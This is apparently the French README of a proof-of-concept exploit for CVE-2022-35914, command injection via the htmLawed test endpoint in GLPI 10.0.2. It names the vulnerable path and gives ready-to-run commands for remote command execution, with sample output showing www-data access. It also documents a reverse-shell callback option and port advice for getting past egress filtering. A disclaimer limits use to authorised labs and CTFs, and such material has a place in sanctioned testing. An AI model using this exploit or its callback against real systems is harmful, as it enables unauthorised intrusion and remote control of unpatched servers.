
Exploit PoC pour CVE-2022-35914 — Injection de commande htmLawed dans GLPI v.10.0.2, exécution de commande et prise en charge de reverse shell.
PoC pour CVE-2022-35914, une vulnérabilité d'injection de commandes impliquant le composant de test htmLawed dans les installations GLPI vulnérables.
L'outil permet l'exécution de commandes via le point de terminaison vulnérable et inclut une fonctionnalité de callback optionnelle pour les environnements de laboratoire autorisés.
Avertissement : Ce projet est destiné uniquement aux tests de sécurité autorisés, aux CTF, aux laboratoires OffSec/PG et à des fins éducatives. Ne l'utilisez pas contre des systèmes sans autorisation explicite.
| Champ | Détails |
|---|---|
| CVE | CVE-2022-35914 |
| Logiciel | GLPI v.10.0.2 |
| Composant | htmLawed |
| Point de terminaison vulnérable | /vendor/htmlawed/htmlawed/htmLawedTest.php |
Le composant vulnérable peut permettre l'exécution de commandes via des paramètres spécialement conçus sur les installations affectées.
Python 3 et les dépendances requises.
sudo apt install python3-requests python3-bs4
python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4
Cloner le dépôt :
git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914
Rendre le script exécutable :
chmod +x glpi.py
python3 glpi.py -h
python3 glpi.py -u TARGET_IP -c 'id'
Exemple de sortie :
[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php
========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================
L'option -c spécifie la commande à exécuter.
python3 glpi.py -u TARGET_IP -c 'whoami'
python3 glpi.py -u TARGET_IP -c 'id'
python3 glpi.py -u TARGET_IP -c 'uname -a'
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
| Option | Description | Défaut |
|---|---|---|
-u, --url | URL ou adresse IP cible | Requis |
-c, --cmd | Commande à exécuter | id |
--check | Vérifier la cible sans exécuter de commande | Désactivé |
--user-agent | User-Agent HTTP personnalisé | Défaut |
-p, --rport | Port du service HTTP cible | 80 |
-l, --lhost | Adresse IP de callback/écoute | — |
-lp, --lport | Port de callback/écoute | — |
L'option -p / --rport spécifie le port sur lequel le service web GLPI vulnérable est en écoute.
Défaut :
80
Exemple :
python3 glpi.py -u TARGET_IP -p 80 -c 'id'
Utilisez --check pour vérifier que la page de test htmLawed est disponible sans exécuter de commande :
python3 glpi.py -u TARGET_IP --check
Un User-Agent HTTP personnalisé peut être fourni avec :
python3 glpi.py \
-u TARGET_IP \
--user-agent 'Mozilla/5.0'
Le script prend en charge des paramètres de callback optionnels :
-l IP de callback/écoute
-lp Port de callback/écoute
Exemple :
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
Dans cet exemple :
Target: TARGET_IP:80
Callback: LHOST:80
Les deux ports ont des rôles différents :
-p = Port HTTP GLPI cible
-lp = Port de callback/écoute
Lors des tests dans un environnement de laboratoire OffSec, le callback a fonctionné avec succès sur le port TCP 80.
D'autres ports de callback, tels que 4444, peuvent expirer selon le réseau du laboratoire et le filtrage de sortie.
Pour l'environnement testé :
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
L'écouteur a été configuré sur l'interface VPN Kali en utilisant le port TCP 80.
Important : L'utilisation du port 80 pour le callback est une observation spécifique à l'environnement. Ce n'est pas une exigence de CVE-2022-35914.
Vérifiez d'abord l'exécution de commandes :
python3 glpi.py -u TARGET_IP -c 'id'
Vérifiez si les utilitaires requis existent :
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
Si l'exécution de commandes fonctionne mais que le callback expire, vérifiez le routage VPN et le port de callback.
Si l'analyse de la sortie des commandes échoue, la réponse HTTP complète est enregistrée dans :
/tmp/glpi.html
Inspectez-la avec :
less /tmp/glpi.html
ou :
mousepad /tmp/glpi.html
python3 glpi.py \
-u TARGET_IP \
--check
python3 glpi.py \
-u TARGET_IP \
-c 'id'
python3 glpi.py \
-u TARGET_IP \
-c 'whoami'
python3 glpi.py \
-u TARGET_IP \
-c 'which nc'
Pour l'environnement de laboratoire OffSec testé :
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
Ce projet est fourni uniquement à des fins éducatives et de tests de sécurité autorisés.
L'auteur n'est pas responsable de toute utilisation abusive, dommage, accès non autorisé ou activité illégale impliquant ce logiciel.
Obtenez toujours une autorisation explicite avant de tester un système.
cyb3rk0ala
CVE-2022-35914
CVE-2022-35914 par cyb3rk0ala